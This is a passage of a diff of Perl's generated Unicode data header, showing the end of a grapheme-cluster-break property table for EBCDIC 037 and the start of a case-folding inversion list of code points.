- GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_L, - GCB_V, - GCB_T, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Extend, - GCB_ZWJ, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_L, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_Other, - GCB_V, - GCB_Other, - GCB_T, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Prepend, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Prepend, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Control, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Regional_Indicator, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Modifier, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base_GAZ, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Control, - GCB_Extend, - GCB_Control, - GCB_Extend, - GCB_Control, - GCB_Other -}; - -# endif /* EBCDIC 037 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV _Perl_IVCF_invlist[] = { /* for ASCII/Latin1 */ - 1289, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61, - 0x6B, - 0x6C, - 0x73, - 0x74, - 0x7B, - 0xDF, - 0xE0, - 0xE5, - 0xE6, - 0xF7, - 0xF8, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, 